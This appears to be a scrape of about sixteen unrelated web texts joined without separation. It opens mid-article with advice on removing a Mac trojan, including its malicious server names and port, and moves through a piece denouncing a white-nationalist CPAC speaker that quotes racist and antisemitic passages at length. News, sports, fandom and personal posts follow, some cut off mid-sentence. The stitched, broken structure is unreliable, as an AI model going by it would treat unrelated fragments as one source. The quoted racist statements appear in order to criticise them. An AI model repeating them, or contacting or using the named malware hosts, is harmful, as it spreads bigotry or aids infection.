If the malware is installed on the system, the contents of this file will be replaced and you will instead see the following:
Screenshot by Topher Kessler
As with other Trojan horses, this malware is a minimal threat, and also should be caught if you have a tool installed like Little Snitch, which will detect when programs and background services try to contact servers on the Internet. If you have Little Snitch installed and see an attempt by a process try to contact the servers "pingu.anonops.li" or "x.lisp.su"--or, for that matter, or any other server, especially if it is using the port 6667 (a port commonly used for distributing malware via IRC connections)--then deny it access and check to see if the malware is installed.
To see if the malware is installed on your system, go to the /Macintosh HD/System/Library/LaunchDaemons/ directory and open the file called "com.apple.logind.plist." Compare it with the screenshots above, and if it looks like the second one, then replace its contents with what's shown in the first screenshot. Since this file is in a system directory, you may need a tool like TextWrangler to be able to authenticate properly and edit the file.
In addition to reverting the changed launch daemon file, check to see if the rogue logind process has been installed on your system. In the Finder, choose "Go to Folder" from the Go menu and then enter "/usr/sbin" in the text field. The Finder should open the hidden system directory, in which you can search for and remove the file called "logind" if it is present. When you remove it, the system will ask you for an administrator password, so provide it and then delete the file.
Screenshot by Topher Kessler
Beyond manually removing the malware, since the Mac version of Tsunami was found on October 25 various malware definitions, including those from F-Secure and Intego, have been updated to detect and remove this malware from systems, so be sure to keep your computer's antivirus definitions updated.
Questions? Comments? Have a fix? Post them below or e-mail us!
Be sure to check us out on Twitter and the CNET Mac forums.Reacting to the inclusion of the "white nationalist" anti-immigration activist Peter Brimelow on a panel on "The Failure of Multiculturalism: How the Pursuit of Diversity Is Weakening the American Identity" at this year's Conservative Political Action Conference (CPAC), Ed Schultz observed on MSNBC's The Ed Show that, "We've come to expect CPAC to bring together the far righties. But even CPAC should draw the line somewhere."
Schultz went on to quote Brimelow as having said at CPAC that, "Democrats have given up on winning the white working class vote, so they use bilingualism to build up a client constituency. It's treason. We hear about racism, but the real issue is treason."
Brimelow certainly doesn't mince words. He told a CBS reporter that US immigration policy, the legal kind, mind you, "is creating a "Spanish speaking underclass parallel to the African American underclass."
"These are people who are completely dysfunctional," Brimelow said. "They're on welfare; they're not doing any kind of work -- at least not legal work -- and their children are having a terrible time." California, which used to be "paradise," he added, is "rapidly turning into Hispanic slum."
Nice. So who, precisely, is Peter Brimelow, and why should the rest of us be concerned when a white nationalist racist like him appears at the same event as, say, Mitt Romney, Newt Gingrich, Rick Santorum and Sarah Palin?
Brimelow is founder and editor of the VDARE.com website which has been designated a "hate group" by the Southern Poverty Law Center, and which, according to no less an authority than the Anti-Defamation League, "features the work of racists, anti-Semites and anti-immigrant figures."
The ADL has been following Brimelow's activities for some time. In February of 2009, the organization tells us, "Brimelow demonstrated his racist views" at "a conference of racists in Baltimore, Maryland, dedicated to 'Preserving Western Civilization.'" There, Brimelow "delivered one of the most extreme presentations at the conference. He argued that the influx of "non-traditional" immigration is a problem all over the Western world and that the loss of control over the country by "white Protestants" will mean a collapse of the American political system. He urged that whites respond by creating an explicitly white nationalist political party."
Hmm? An "explicitly white nationalist political party"? Where have we heard that before?
Here are some more of Brimelow's words of wisdom. In his 1995 book, Alien Nation: Common Sense About America's Immigration Disaster, he referred to the Clinton administration as a "black-Hispanic-Jewish-minority white (Southerners used to call them'scalawags') coalition." The Merriam-Webster on line dictionary, incidentally, defines a "scalawag" as a "a white Southerner acting in support of the reconstruction governments after the American Civil War often for private gain."
In an August 22, 2006, article, Brimelow called US immigration policy "Adolf Hitler's posthumous revenge on America." On February 15, 2011, he wrote that, "As immigration policy drives whites into a minority, this type of interest-group 'white nationalism' will inexorably increase."
In an October 6, 2009, article Brimelow wrote that, "it's still 'about race'. It is no coincidence, comrades, that the backlash is overwhelming white. Whites in America voted heavily against Obama. White Protestants ('let's face it, they are America' -- Phillip Roth, American Pastoral, p. 311) still make up nearly half (42%) the electorate and they voted 2-1 for McCain. But are even 4% of Obama's appointments white Protestants?"
Following the 2008 presidential election, Brimelow told the H.L. Mencken Club in Baltimore, Maryland, that "McCain should have portrayed Obama as the affirmative-action candidate. It would have been so easy. All he had to do is get up and say it." President Obama, Brimelow went on, would eventually do something "that will start to shock people right away. I think that whites -- that is to say, Americans -- will organize."
Back in 2002, the conservative columnist Jonah Goldberg wrote in the Los Angeles Times that Brimelow, Pat Buchanan and Sam Francis [see below] "have become dismayingly obsessed in recent years with creating... an 'identity politics for white people.'" Goldberg described Brimelow as "a once-respected conservative voice who now runs the shrill anti-immigration website VDARE.com, named for Virginia Dare, the first British child born in North America." Goldberg also wrote that Buchanan's book, The Death of the West "warns hysterically that the white race is becoming an 'endangered species,' about to be swallowed up by the duskier Third World (defined as all nonwhites no matter how rich, educated or democratic)," and that Francis "has argued earnestly for 'imposing adequate fertility controls on nonwhites.'" Buchanan, Brimelow and Francis, Goldberg concluded, "live in denial about how to get back to the days when America was 90% white."
Brimelow claims that VDARE "will publish anyone, of any political tendency (or race), who has anything sensible to say about America's immigration disaster. And that certainly includes writers, for example Jared Taylor [see below], whom I would regard as 'white nationalist,' in the sense that they aim to defend the interests of American whites. They are not white supremacists. They do not advocate violence. They are rational and civil. They brush their teeth."
Ok, then, here are some of the authors Brimelow has published on VDARE, and draw your own conclusions:
• Sam Francis who wrote on July 21, 2003, that: "America was defined -- almost explicitly, sometimes very explicitly -- as a white nation, for white people, and what that means is that there is virtually no figure, no law, no policy, no event in the history of the old, white America that can survive the transition to the new and non-white version. Whether we will want to call the new updated version 'America' at all is another question entirely."
• Kevin MacDonald, identified by the ADL as "anti-Semitic," who wrote on November 14, 2006, that: "Jewish activity collectively, throughout history, is best understood as an elaborate and highly successful group competitive strategy directed against neighboring peoples and host societies. The objective has been control of economic resources and political power. One example: overwhelming Jewish support for non-traditional immigration, which has the effect of weakening America's historic white majority."
• The same Kevin MacDonald wrote on November 5, 2005, in a review of The Jewish Century by one Yuri Slezkine that: "Despite the important role of Jews among the Bolsheviks, most Jews were not Bolsheviks before the Revolution. However, Jews were prominent among the Bolsheviks, and once the Revolution was underway, the vast majority of Russian Jews became sympathizers and active participants.... Slezkine's main point is that the most important factor for understanding the history of the 20th century is the rise of the Jews in the West and the Middle East, and their rise and decline in Russia. I think he is absolutely right about this. If there is any lesson to be learned, it is that Jews not only became an elite in all these areas, they became a hostile elite -- hostile to the traditional people and cultures of all three areas they came to dominate.... Given this record of Jews as a very successful but hostile elite, it is possible that the continued demographic and cultural dominance of Western European peoples will not be retained, either in Europe or the United States, without a decline in Jewish influence."
• Jared Taylor, who wrote on July 4, 2008, that: "What race realists find most infuriating about the liberalism of the last half century is not just that it has lost its instinctive appreciation for the culture and people of the West but actively, viciously attacks them. Whites are doing something no other people have ever done in human history. Our rulers and elites welcome replacement by aliens, they vilify our ancestors and their own, they sacrifice our interests to those of favored minorities, and they treat the entire history of the West as if it were a global plague of rapine and exploitation. This is a disease that is killing us, and we must fight it head on."
• The same Jared Taylor wrote on January 4, 2011, that: "Some of us, however, rather like being White, and would like for our children and grandchildren to be White, too. The self-haters are welcome to go extinct if that is what they want. But what would be wrong in wanting a country -- even a small country -- where Whites are the majority and intend to keep it that way?"
After specifically referencing Peter Brimelow's "musings about racial dilution and the perils facing white people" on VDARE, a February 1, 2009, New York Times editorial observed that:
"It is easy to mock white-supremacist views as pathetic and to assume that nativism in the age of Obama is on the way out. The country has, of course, made considerable progress since the days of Know-Nothings and the Klan. But racism has a nasty habit of never going away, no matter how much we may want it to, and thus the perpetual need for vigilance."
We all know that there are bigots amongst us who espouse theories of racial, ethnic or religious superiority. They have the right to express their views, however noxious, on street corners or on their websites. No one, however, is obliged to invite them to be part of polite society.
The fact that the organizers of CPAC chose to give Peter Brimelow a platform reflects on them. Why the other CPAC participants have chosen not to denounce or even distance themselves from his toxic rhetoric is a question well worth asking.OVERVIEW
This Harry Potter Redesign Project is created for my senior show at Art Center College of Design, which just happened in Spring 2016. The focus was to reimagine the four Hogwarts houses, specifically their common rooms. The common rooms were not featured as heavily in the movies, so I decided to give them a try. Part of the challenge was to create four distinct visual language that also belongs in the same world. I have always loved the Harry Potter stories, but never got to slowly analyze them. This was a practice to discover what I actually love about the world JK Rowling magically built. To add some flavors into these common room redesigns, I added some sort of mystery room/floor/space to each house, and also decided that each house is entrusted a certain responsibility in keeping Hogwarts running. (I think Hermione would agree that the house elves can’t be doing all the work)
Gryffindor Common Room
House element
/ Fire
House animal
/ Lion
House traits
/ Brave, Courageous, Chivalry and Nerve The Gryffindors’ elements may be flame, but instead of wild fire, Godric Gryffindor was more like a glowing bright sun, full of energy and power, controlled and respected, hence the merge of planets into his house’s common room redesign.
(open image in new tab for detail view)
The main floor With fire being its house element, the fireplace is the common room’s core, radiating its heat and energy out equally to every side of the common room. The main floor is largely divided into a lounge space and a study space. The lounge space has squashy armchairs where Gryffindors hang out, play chess, and interact. The study space are individual desks lined up along magical stained glass windows that are actually puzzles. Two stairs flank the entrance of the common room, leading to the half dome observatory, while two others that flank the dorm entrances lead down towards the floor that houses the timekeeping clockwork gears. The Half Dome Observatory The Half Dome observatory consist of a pipe organ with its keys embedded on the floor, and a giant half dome that can contain projections of planets and galaxies far far away. Gryffindors, being very structured and rhythmic by nature, play scores that triggers a projection of a certain planet or galaxy for study purposes. Ambitious by birth, Gryffindors look beyond planet Earth for knowledge and inspiration. Of course, like some Muggles, they believe magical creatures exist on other planets too. The Clockwork floor Gryffindors are entrusted with timekeeping within the Hogwarts grounds. Time runs a little magically different within these grounds as opposed to the Muggle territory. When done right (most of the time), classes bells ring when it is suppose to be, meals are served and mails are delivered on time. To achieve these, an assigned group of senior Gryffindors attend to the clockwork gears every other week. With teamwork, all gears are turned and tuned with accuracy. A little planet in the middle of the clockwork floor glows bright when the gears are done right.
What about…
the Hufflepuff common room the Ravenclaw common room the Slytherin common roomThe Tokyo Metropolitan Government on Wednesday unveiled the process for public submissions to name of the female giant panda cub born in June at Ueno Zoological Gardens in Tokyo.
From Friday morning through Aug. 10, anyone who would like to participate can suggest a name for the baby panda by going online, mailing a postcard, or dropping a note in a suggestion box at the zoo.
Each applicant is allowed only one entry, and the suggested name should be written in katakana. Additional information is also required, including the applicant’s name written in Japanese, age, address and phone number.
Zoo staff released new footage on Wednesday showing the cub wiggling about. Her mother is Shin Shin and father Ri Ri.
The name will be decided and announced by the end of September when the cub turns 100 days old, as it is said in China that a cub which survives for 100 days will grow up strong.
Since 1972 when the first two giant pandas, Kan Kan and Ran Ran, arrived at the zoo, panda names have followed the Chinese custom of doubling-up syllables as an affectionate moniker.
Details in Japanese on how to submit an application are also available at www.ueno-panda.jp/topics/detail.html?id=271.Now, if there's one thing in the world I am down with, it's Stanley Kubrick. (That link goes to just one of the literally 9,000 posts I've done for No Film School on the filmmaker, Bronx native, and beard enthusiast.)
Sometimes I write bathroom graffiti essays about Kubrick just 'cause. And I would be remiss if I didn't drop everything to tell you that today, the internet has coughed up an insane amount of Kubrickia, courtesy of the excellent tumblr The Director's Series.
Almost 16 years since his death in 1999, Stanley Kubrick is still a relevant subject for debate and scholarship of all manner, from the most erudite to the seriously down the rabbit hole. Kubrick is no longer just a filmmaker, and I would wager $5 (maybe more) that this is partly because, in our media-saturated confessional culture, where everyone is expected to smile and explain themselves and also feel super grateful for the chance to do so, Kubrick was kind of a tease.
A "recluse" in life (and if he was a recluse, then I'm some sort of desert hermit with Wi-Fi), Kubrick refused to let the public into either his life, or his films. He understood, as few celebrities do, that there is something to be said for being mysterious. Which is easy, when all you have to do is not go clubbing with Judd Nelson. (The 80s were the height of Kubrick is a weirdo rumors, and that's the most 80s thing I could think to write.) And, also, you know, he was a ridiculously talented cinematic visionary whose work continues to confound and amaze. So, I'm saying that even if he'd been on the television machine explaining exactly what The Shining's "deal" was/is, we'd still be amazed by it.
And that film in particular, as a proxy for his whole body of work, is the perfect example of the degree to which his films transcend film (yes, I've been away at pretension camp) and become a category of almost gnostic mysticism (see?), in that people study them with the fervor of religious texts, even though he remarked to his wife, close to the end of his life, "I'm still fooling them!"
"Enough of words. Actions speak louder than. Action now. Observe all." — The Minister from A Clockwork Orange
I'll let the documentaries speak for themselves, but I will say that one of Kubrick's most trenchant insights and legacies is directly related to the inherently mysterious nature of the medium in which he worked. Movies are weird and psychological (they can't help it!) and are, in the main, closer to dreams than any fidelity to reality or factual representation thereof (even when they protest that they are realer than real deal Holyfield), and this is because they operate on a pre-verbal level; this is also why, coincidentally, the millions of words written about his films amount to describing a dream, and everyone knows there's nothing more fascinating than listening to someone tell you about their half-remembered dream. (I am kidding. Almost everything is more fascinating.)
Kubrick intuited that cinema consists of not only filming the dream, but maintaining its essence, that elusive, uncanny quality that defies words. He frequently made words the least important part of his films, using them to comment on the uselessness of words, or for deep subtext, but almost never to tell you what was happening on screen in the expository manner of most of today's "talkies."I got the best secret santa imaginable! I can now enjoy Dexter seasons 1 and 4 while wearing my Dexter lanyard and Harrison-button, and snacking on Ghiradelli holiday chocolate, Reese's, or beef jerky! I love reading and now I have new material too! I had been meaning to pick up Darkly Dreaming Dexter by Jeff Lindsay for awhile, but of course I have neglected to. How ironic that my SS got it for me?! I can't wait to read it. After that I can start on World War Z, which looks amazing by the way (I like apocalyptic books, just not horror films, so thanks for taking a chance and sending it!) As for the tripod, thank you thank you thank you!! I have been in need of one for so very long! With as much as I use my camera, the 16 gb card will be a great thing to have. He also got me a nice big journal, which is perfect btw! I love it. Can't wait to try everything out and start getting creative again! Thank you so much. The box was awesome too! Such a well thought out gift! Oh, and my dog Juni loved the dog treats that he put in especially for her! She wasn't too eager to pose for pictures until I held those up above the camera. Thanks dannyfisch for everything! I love it all! Merry Christmas and have a great holiday season!A new Gallup survey finds that Americans’ confidence in all three branches of the U.S. government has fallen dramatically, reaching record lows for Congress (7 percent), the Supreme Court (30 percent), and a six-year low for the presidency (29 percent).
Survey results were based on telephone interviews conducted June 5-8, with a random sample of 1,027 adults, aged |
from Mandera, said.
Let's support the family of hero Salah who has since succumbed to the bullets in the Mandera bus attack #HeroSalah pic.twitter.com/wuJaTL7cbb — Abdullahi Derow (@AbdullahiDerow) January 21, 2016
"I tried to think about how we can do this for the family, as Kenyans, at least to appreciate what he has done not only for Kenyans but for humanity," explained Derow, who got the approval of Farah's cousin Rashid, and now guardian to his children, before launching the campaign.
Rashid confirmed to Al Jazeera that the family had given the go-ahead.
"The children need a shelter, they need education, they need to be cared [for]," Rashid told Al Jazeera. "The father and mother are the same."
He added: "Salah was well-respected, a religious man, who had just been promoted to deputy headmaster of a big primary school - he was having a lot of respect in the village".
So far, the campaign has raised over 150,000 Kenyan shillings ($1,460) mainly through the M-Pesa money transfer service, with donations ranging from $200 - sent by a female university professor in Canada - to just a few shillings.
"Even if someone sends just a few shillings, it can make a big difference," Derow said.
Despite being pushed out of Somalia's major cities and towns, al-Shabab continues to launch deadly attacks across the Horn of Africa country.
The group, which last week assaulted a military base run by Kenyan troops as part of an African Union force in the Somali town of El-Ade, has also carried out many attacks inside Kenya.
Derow said the outpouring of support for the campaign was sending a "clear message" to al-Shabab that Kenyans were united.
"There is a feeling of patriotism. Kenyans are feeling by helping the family of #HeroSalah and educating his children is a defiance to al-Shabab," he said.
"We are one in honouring are heroes."
Your rewards are in heaven brother.what you did is legendary. #HeroSalah — owitichris (@owitichris) January 23, 2016
#HeroSalah you paid the ultimate price, you are a hero — HEMEDI THFC® (@ABU_HEMEDI) January 23, 2016
Salah Farah told alShabab "kill all of us or leave us alone" He's gone, His kids need U #HeroSalah #KULUNFoundation pic.twitter.com/fayoW1aFzk — Carol Radull (@CarolRadull) January 22, 2016
#HeroSalah you courageous spirit will always live on in us. — Duncan Ondimu (@matundura78) January 23, 2016
#HeroSalah Your contribution to humanity was Awesome! Take this heart commendation, go in peace, as we live to follow your light. — hezbee (@hezb7) January 23, 2016
Thank you #HeroSalah for sharing the same ideas with other Kenya's.you stood by us when everyone remained silent. — owen (@AlfreMakau) January 23, 2016Maria Cardona worked in the Clinton administration as a high-level spokesperson and served as Communications Director of the DNC from 2001-2003. In 2008 she was a senior adviser to Hillary Clinton on Hispanic outreach, and appeared on English and Spanish cable news as an Obama surrogate in 2012. On "This Week" she responds to questions about how her candidate can be losing to "a 73 year old self-described socialist from Vermont."
JONATHAN KARL: I don't think we've seen more enthusiasm for any candidate, Democrat or Republican than we have seen for Bernie Sanders. Maria, what is going on? Hillary Clinton is supposed to have a coronation here. She now finds all the energy in the Democratic primary here is with a 73 year old self-described socialist from Vermont.
MARIA CARDONA, DEMOCRATIC STRATEGIST: The media thought this was going to be a coronation, The Clinton campaign never thought this was going to be a coronation. That is why she is fighting for every single vote.
Look, Bernie is from a neighboring state.
We shouldn't be surprised that there is so much enthusiasm for him. And in fact, we shouldn't be surprised if he does very well -- and perhaps even win.
I think this is good for the Democratic Party because Democrats also did not want a coronation.
Next, Cardona begins to lower expectations, saying she "wouldn't be surprised" if Bernie Sanders won early states like Iowa and New Hampshire.A piece of ice two and a half times the size of Paris (or roughly four-and-a-half Manhattans) broke off from West Antarctica over the weekend. It’s not unprecedented, but it has ice scientists worrying.
On Saturday (Sept. 23), satellite-observation specialist Stef Lhermitte at the Delft University of Technology in the Netherlands posted an image of the rift, taken from Sentinel1, a European Space Agency satellite.
The ice snapped off from the Pine Island Glacier, making it the second major ice-loss event for that glacier in the last two years. Pine Island is one of Antarctica’s biggest glaciers—and also one of the sites where ice loss has been most dramatic in recent years. This time, the iceberg that resulted from the split is roughly 103 sq miles, or 267 sq km, in size.
When ice separates—or “calves”—from an ice shelf, it becomes an iceberg. When it comes to the future of sea level rise, it’d be much better for all of us if ice shelves stayed ice shelves.
Glaciologist Peter Neff called the event “concerning for future sea level rise.”
But it’s not the size of the iceberg that’s worrying, as Christopher A. Shuman, a research scientist at the Cryospheric Sciences Laboratory at NASA Goddard Space Flight Center, explained to Gizmodo. Rather, it’s the fact that a string of recent losses leave the much-larger area of ice behind them more vulnerable to melt.
As the Verge points out, the calved iceberg itself won’t raise sea levels. It is already displacing as much water as it would if it were melted, exactly like how an ice cube floating in a glass of water doesn’t raise the water level when it melts. But ice shelves at the periphery of glaciers serve the important function of keeping the inner, land-bound glacier in place. When the outer blockade of ice shelves fall away (turning into icebergs that eventually melt), the chance of the inner glacier breaking up and melting goes up; because the glacier is on land, it is not currently displacing water. If it parts of it slide into the sea, it certainly will.
If all of Pine Island Glacier melted, it could raise sea levels by 1.7 feet, according to The Washington Post. As we’ve mentioned before, for every 360 billion tons of ice that reach the ocean, sea levels worldwide rise by 1 millimeter. For context, the average sea-level rise per year during the 20th century was 1.7 millimeters (pdf).
Earlier this year, in a much bigger calving event, a trillion-ton iceberg snapped off from another area in Antarctica. Like this event, that part of the ice shelf was already floating in water and will not directly add to sea level rise—but, worryingly, it was part of an icy barrier that holds the massive Larsen-C ice shelf from sliding into the sea.
The loss of that 2,200 sq mile (5,698 sq km) chunk of ice made global headlines, prompting a fascinating array of geographic comparisons to various cities and land masses, depending where in the world you were reading the news.
Read this next: Two Luxembourgs, 10 Madrids, one Delaware: How a giant iceberg is described around the worldThis website was supposed to be merely a place for me to document my writing and work on little projects, but since joining TSM, a lot of fans of the team have been curious about my future involvement and personal decisions. For those who are interested, I thought this was a good time for a recap and update.
After leaving Boeing, I applied to a few places, but was really only passionate about one or two companies and when I didn't get those, I chose to just commit to taking some time off over working at a place that I didn't wholeheartedly love. It was a weird process of figuring out what I wanted to do, planning out my finances, and allotting a deadline for my return to a work-life. The name for my website literally comes from the number of days I calculated that I could financially sustain myself with no income without dipping into my cushion fund.
I decided to start with e-sports first, starting off by writing about things I knew or learned. I'd receive some comments at first, some constructive criticism, and a few people who were interested would add my on Skype and we'd have a conversation about e-sports. This industry is extremely niche and connections are everything. I somewhat stumbled into meeting a lot of cool people by doing something I liked without intentionally networking, and I look back and realize how lucky I was.
After briefly volunteering for Alliance and Leviathan, I posted my work and went off on my education pursuits. By using some creative travel methods and a lot of couch surfing (thanks to everyone who let me crash), I interviewed 30+ people (teachers, researchers, administrators) in 8 cities around the US, mostly discussing our current system of public education and their thoughts on how to change it. I've actually written a giant piece (70+ pages), but it's currently in a state where it needs to be heavily edited and re-worked. I really want to get back to some of this work this year in my spare time.
Sometime late 2014, I began to help TSM as an analyst, first as a trial basis, but then a remote, paid position. The amount of hours it took to keep up with other regions, watching scrims, and helping create documents actually took a lot more time than I initially thought, so I put some of the education work on hold and focused on TSM instead. I happened to be in the area for the TSM-CLG match with the pink hair bet because I was speaking to SpaceX at the time and got to meet the team. Throughout the Spring Split, I was casually applying for random positions at startups, but after MSI, TSM offered me to bring me on full-time. It was extremely competitive compared to what anyone else in the west was being offered. When I started out, I wasn't expecting to end up as an in-house analyst for a major team, but it was an incredible opportunity that I knew I had to pursue.
The details of my role are in a different piece, but work was simultaneously brutal and awesome. From watching other regions, coaching staff meetings, scrims, 1-on-1 sessions with players, data work, scouting documents and other presentations, I would be constantly thinking about the team, players, and the game from the moment I got up at 9 am till I passed out to Netflix playing on my Chromebook at 1 am. On Sunday evenings, we would have free time, but if we lost, I wouldn't be in the mood to do anything but prep for next week. Staring at Excel on Sunday evenings was the most relaxing part about my week. Despite the struggles (there were a lot), I enjoyed every second of what I did.
There were a lot of important moments for me. I remember the electricity in the room before the first TSM-CLG game during the Summer, a sense of urgency and pride that's indescribable. I remember the respect emanating from every person in the room for Andy's first review after he stepped in as coach. I remember crying for a long time after watching Dyrus's final interview, denoting the end of our season and his career. There's a lot of heart in e-sports, it's a very gritty industry where you have to be passionate about the work to justify the amount of yourselves you put into it, and as much as we like to treat it like a job or business, there's a strong emotional component that's almost more important.
I'm really excited to transition into a managerial position within the organization next year. I have a lot of respect for Andy, there's no one I know that is more hard-working and passionate about his work or who cares about the people working for him. I'll be working alongside Dan and Leena, who are both incredibly talented and do an immense amount behind the scenes. I'm currently helping the League team/staff put together a system for next year, then I'll be stepping back and overseeing the process throughout the next season, which will free up Andy to focus on his other projects.
Overall, I'm incredibly fortunate to be in the position I find myself in and am looking forward to pushing TSM, the teams and the organization, to be the best they can be. In my spare time, I'll be looking to return to my volunteering work in education, so this website will still see some new posts. Finally, in addition to my friends and everyone I've met in the last year, I want to thank my best friend Sanjeev and my girlfriend Amy, who encouraged me to start my journey and supported me throughout.
Sincerely,
ParthReuters is moving this, sounds like it's sourced to McCain's travelling press secretary, Brooke Buchanan. The campaign has yet to put anything out. More information when it becomes available:
BAKERSFIELD, California (Reuters) - Republican presidential candidate John McCain, who has suffered from skin cancer in the past, had a spot removed from his face on Monday during a routine checkup by a doctor in Phoenix, an aide said.
"At this point it was just a precautionary removal," the aide told reporters on McCain's campaign plane. She said the spot was covered by a bandage and was visible on his face.
McCain has had four malignant melanomas -- a potentially lethal type of skin cancer -- surgically removed since 1993. Three of them were limited to the top layers of the skin and were not invasive. The fourth melanoma was invasive and was removed from his left temple in 2000.
comments closed
permalinkRather than select two players in the second round or trading one (or both) of their two 2016 second round picks, the Pelicans opted to package the 39th and 40th picks of the NBA draft in order to move up to the 33rd spot, selecting 19 year old Kansas product Cheick Diallo. While Diallo has only seen about 100 minutes for the Pelicans this season, he has generally made the most of them – his 15.3 points per 36 minutes is just ahead of first round pick Buddy Hield’s 15.1 (while he was in New Orleans), and his 12.1 rebounds per 36 minutes is just north of Anthony Davis’ average (11.9).
In addition to his sporadic NBA playing time, Diallo has also registered over 700 minutes in the NBA D-League. While this league isn’t on most Pelicans fans’ radars, it is well within Chris Reichert’s purview, who generously agreed to answer a few questions about Diallo’s play this season. Very few people follow the D-League as closely as Chris, so we are very fortunate to get his insight and perspective. Let’s jump into our Q&A, but first, make sure to give Chris a follow on Twitter at @Chris_Reichert.
MG: To start things off, would you mind telling our fine Bourbon Street Shots readers a little about yourself and your area of expertise (along with the site for which you write)?
CR: I have been a media credentialed blogger covering the NBA D-League for 3+ years now. All of my writing can be found at The Step Back which is an NBA vertical on FanSided.com. I’m the associate editor there along with being our senior D-League writer. MG: Thanks for the intro, and thanks again for helping us learn more about Diallo’s play this season. Let’s start with the good stuff – what have you seen from Diallo that you think will best translate to NBA success? CR: The traits which immediately stand out as translatable for Diallo are his defensive instincts, rim protection and overall athleticism. His block rate in 26 D-League games this season is an impressive 6.69 percent (Rudy Gobert’s is 6.31 percent) and he uses every bit of his 7-foot-4.5 inch wingspan to block shots both on-ball and as a weakside defender. He’s grown as the season has gone on in terms of knowing where he needs to be defensively as well. Early on he was chasing blocks and leaving the weak side susceptible to offensive boards when he did not block the shot. Now, he’s staying home or jumping just enough to alter an opponents’ shot without a complete sellout. The other really impressive thing I’ve noticed while studying film on Diallo is it feels like the vast majority of his blocks stay in bounds, often sparking an offensive break for his team. MG: His in-season growth is definitely great to hear about. Given the fact that he didn’t play much in his lone college season at Kansas (despite being the 7th ranked high school recruit in the country in 2015), the hope from Pelicans fans has been that he’d start to show flashes that we didn’t get a chance to see from him in college. Now let’s talk about the negatives – what are the biggest red flags within Diallo’s game that will be a barrier to a sustained NBA career? CR: The major red flag to me right now is that he is a bit of a black hole. It hits his hands and some way some how it’s going up. This is an ongoing issue for him as well. Although he didn’t play a ton at Kansas as a freshman, he still managed 202 total minutes played and in that span he had a whopping one assist — one! That’s rather astounding when you think about the talent he had around him in college as well. The trend continued to his D-League play — especially early — as he’s amassed a total of 18 assists in 724 minutes of play. One thing of note however is over the last two months he’s gotten 13 of those 18 assists, so it appears he is cognoscente of the problem and is working to remedy it. MG: The lack of assists is a great point which makes me wonder if pairing him with Anthony Davis could be a challenge at times since AD also struggles to find open teammates (despite all of the attention that he garners). Definitely something to keep an eye on moving forward. Speaking of moving forward – assuming the Pelicans accept their “non-playoff” fate in the near future, how much (if at all) would heavy NBA minutes down the stretch this season benefit Diallo’s development? CR: I’m always of the thought that there is no replacement for NBA minutes. If the Pelicans want to play the let’s-see-what-we-got game with the 20-year-old Diallo, I think it would be beneficial. Diallo is far from a finished product, but (if he’s willing to assume the right role) he can contribute as early as next season for New Orleans based on what I have seen. He’s also shown an ability to hit mid-range jump shots this season as he’s knocked down 51-of-127 (40.2 percent) of those attempts. That skill would be super helpful for him to continue to harness, so that he could easily play alongside Anthony Davis and/or DeMarcus Cousins and provide spacing for either of them to operate in the paint. MG: We are in total agreement on that one; I would love to see Diallo get more NBA minutes over the Pelicans’ final eight games. Hard to think of a better way to make the transition than playing alongside guys like AD and Boogie. Let me push you a bit further on that comment about next year – what kind of contributions do you think Diallo could realistically make for the Pelicans in the 2017-18 season?(This May 10 story corrects headline and paragraph one to show that not all of the accused paid fines for price gouging, corrects paragraph two to clarify allegations of price gouging)
FILE PHOTO: A Northern Taxi driver watches for a fare as people disembark a Greyhound bus in Plattsburgh, New York, U.S., February 16, 2017. REUTERS/Christinne Muschi/File Photo
By Melissa Fares
NEW YORK (Reuters) - Three Plattsburgh, New York, taxi cab companies will pay financial penalties for taking advantage of illegal immigrants fleeing the United States for Canada, the New York Attorney General’s office said on Wednesday.
It said in a statement the fines came as part of a settlement after the three companies, Northern Taxi, Town Taxi and C & L Taxi, “admitted to not posting rates as required by law.” A driver from Northern Taxi was also accused of charging an undercover investigator $300 for a fare that should cost no more than $77.50. The same investigator was charged $100 by a C & L Taxi driver, while a Town Taxi driver charged $85, the attorney general said in a statement.
Illegal crossings from the United States into Canada have become increasingly common in the months since U.S. President Donald Trump, who campaigned on a pledge to crack down on undocumented immigrants, took office in January.
“It’s no secret that we’ve seen intense fear in immigrant communities across New York in recent months. To take advantage of that fear for financial gain is simply unconscionable,” New York Attorney General Eric Schneiderman said in the statement.
“My office won’t hesitate to crack down on those seeking to take advantage of this climate of fear.”
As part of the settlement, the Plattsburgh companies will pay penalties ranging from $350 to $2,500.
Northern Taxi did not immediately respond to phone calls seeking comment. The owner of C&L Taxi said she was not aware of the allegations. The operator of Town Taxi told Reuters they had not publicized fares.
On Wednesday, Reuters published a report about asylum seekers traveling to the Canadian border, based in part on an interview with C&L Taxi driver Curtis Seymour.
Seymour voted for Trump partly because of his immigration policies, but said he had grown increasingly sympathetic to his immigrant passengers.DENVER (CBS4) – The largest provider of substance abuse treatment in Colorado is closing its doors.
After more than 40 years, Arapahoe house officials announced Friday that they would be shutting down.
Arapahoe House, Colorado’s Largest and Leading Addiction Treatment Provider, to Close on January 2 — https://t.co/EpRSme1IwY — Arapahoe House (@ArapahoeHouse) December 15, 2017
“It’s really, really a sad day not just for Arapahoe House and our patients and staff, but really Colorado and our community,” CEO and President Mike Butler said.
Butler says the cost to treat more than 5,000 patients each year is far greater than the funding available both from state and federal sources- including Medicaid.
“We have had to use our reserves each of the last seven years to bridge the gap from what are inadequate reimbursement rates compared to the cost to deliver this very important service,” Butler said.
For years the treatment center has cut where they could, eliminating youth programs and services to those coming out of the criminal justice system.
Several of their detox centers shut down earlier this year as the organization attempted to operate more efficiently.
“We hear so much media attention around the opioid epidemic and the devastation it’s causing in our communities, but what is not happening is the funding to solve that problem,” Butler said.
Brandon Kozloff is a therapist at Arapahoe House’s Denver clinic. He’s among the 200 staff members who learned the treatment center would be closing.
A recovering addict himself Kozloff says he knows treatment can be difficult to access & the closure will only add to the growing problem.
“This will be devastating for some. Some people will figure it out. Some people might not,” he said.
Colorado Senator Cheri Jahn, a member of the Business, Labor and Technology Committee and an Arapahoe House board member said a recent announcement by the Trump Administration naming the opioid epidemic as a national crisis brought no additional dollars for treatment.
“Treatment hasn’t been adequately covered for years, and it’s only going to get worse,” said Jahn. “Substance use disorders are a serious, highly stigmatized health condition and individuals suffering from addiction need and deserve access to high-quality treatment.”
Karen Morfitt joined the CBS4 team as a reporter in 2013. She covers a variety of stories in and around the Denver metro area. Connect with her on Facebook, follow her on Twitter @karenmorfitt or email her tips.Nearly 30 years after chronic fatigue syndrome was given its unfortunate name, it’s still not understood or even completely accepted by the medical world: No definitive cause has been identified, nor any consensus treatment. And while it affects an estimated 1 million Americans and 17 million globally, those with the condition are often dismissed as suffering from psychosomatic disorders.
